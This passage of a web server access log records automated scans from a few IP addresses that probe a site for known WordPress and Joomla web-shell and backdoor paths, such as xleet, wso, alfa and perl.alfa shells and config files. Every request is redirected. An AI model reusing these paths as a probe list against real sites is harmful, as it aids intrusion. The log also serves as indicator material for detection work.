NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:44:52 -0400] "GET /wp-content/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:45:03 -0400] "GET /.tmb/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:45:12 -0400] "GET /images/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:45:17 -0400] "GET /wp-content/uploads/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:45:22 -0400] "GET /.well-known/acme-challenge/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:45:25 -0400] "GET /wp-includes/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:45:28 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:45:36 -0400] "GET /wp-content/uploads/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:45:39 -0400] "GET /wp-content/themes/freeyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:45:48 -0400] "GET /wp-content/themes/erapress/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:45:54 -0400] "GET /wp-content/plugins/doyanz/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:45:58 -0400] "GET /wp-content/themes/panama/json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:01 -0400] "GET /wp-content/themes/moog/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:02 -0400] "GET /wp-content/uploads/2023/11/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:07 -0400] "GET /wp-content/uploads/2023/12/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:11 -0400] "GET /wp-content/themes/blogai/issue.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:22 -0400] "GET /wp-content/themes/agwin/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:25 -0400] "GET /wp-content/themes/quext/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:32 -0400] "GET /wp-content/plugins/app-calendar/config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 196.251.80.216 - - [13/Apr/2025:01:46:33 -0400] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.216 - - [13/Apr/2025:01:46:33 -0400] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.216 - - [13/Apr/2025:01:46:33 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.216 - - [13/Apr/2025:01:46:33 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 196.251.80.216 - - [13/Apr/2025:01:46:33 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:35 -0400] "GET /wp-content/smm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 196.251.80.216 - - [13/Apr/2025:01:46:36 -0400] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:38 -0400] "GET /jetpack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:43 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:45 -0400] "GET /bala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:48 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:51 -0400] "GET /xltavrat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:53 -0400] "GET /.wp-back.phP HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:46:55 -0400] "GET /wp-admin/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:04 -0400] "GET /wp-content/fw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:06 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:10 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:13 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:15 -0400] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:17 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:19 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:26 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:29 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:37 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:41 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:48 -0400] "GET /libraries/fof/database/iterator/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:50 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:52 -0400] "GET /wp-content/data-db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:47:57 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:48:00 -0400] "GET /components/com_newsfeeds/models/indexx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:48:03 -0400] "GET /plugins/finder/categories/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:48:11 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:48:13 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:48:25 -0400] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 5.140.233.250 - - [13/Apr/2025:01:38:43 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:44:08 -0400] "GET /fwe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:44:22 -0400] "GET /wp-content/11.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:44:32 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:44:42 -0400] "GET /.well-known/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:48:30 -0400] "GET /thanks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:48:34 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:48:41 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:48:46 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:48:51 -0400] "GET /wp-content/themes/mero-megazines/ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:48:55 -0400] "GET /wp-content/themes/welfare-charity/www.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:48:58 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:49:05 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:49:08 -0400] "GET /wp-admin/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:49:15 -0400] "GET /wp-content/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:49:19 -0400] "GET /wp-includes/xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.26.148.159 - - [13/Apr/2025:01:49:24 -0400] "GET /wp-content/themes/applica/400.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:49:40 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:49:45 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:49:52 -0400] "GET /xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:49:56 -0400] "GET /wp-admin/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:50:01 -0400] "GET /wp-content/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:50:13 -0400] "GET /wp-includes/xleet-shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:51:08 -0400] "GET /wp-admin/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:51:14 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:51:21 -0400] "GET /wp-includes/shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:51:31 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:51:44 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:51:51 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:51:55 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:52:01 -0400] "GET /wp-content/plugins/wordpress-three/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:52:04 -0400] "GET /wp-content/plugins/column/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:52:12 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:52:17 -0400] "GET /wp-content/plugins/hellopress/wp_mna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:52:22 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:52:26 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:52:32 -0400] "GET /wp-content/plugins/hellopress/0xlufix2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:52:37 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:52:41 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:52:46 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:52:50 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:50:22 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:50:30 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:50:35 -0400] "GET /wp-admin/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:50:44 -0400] "GET /wp-content/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:50:49 -0400] "GET /wp-includes/wso112233.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:50:55 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:52:58 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:53:07 -0400] "GET /beence.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:53:12 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:53:20 -0400] "GET /loger.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:53:28 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:53:32 -0400] "GET /vendor/htmlawed/htmlawed/gel4y.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 197.3.96.162 - - [13/Apr/2025:01:53:42 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 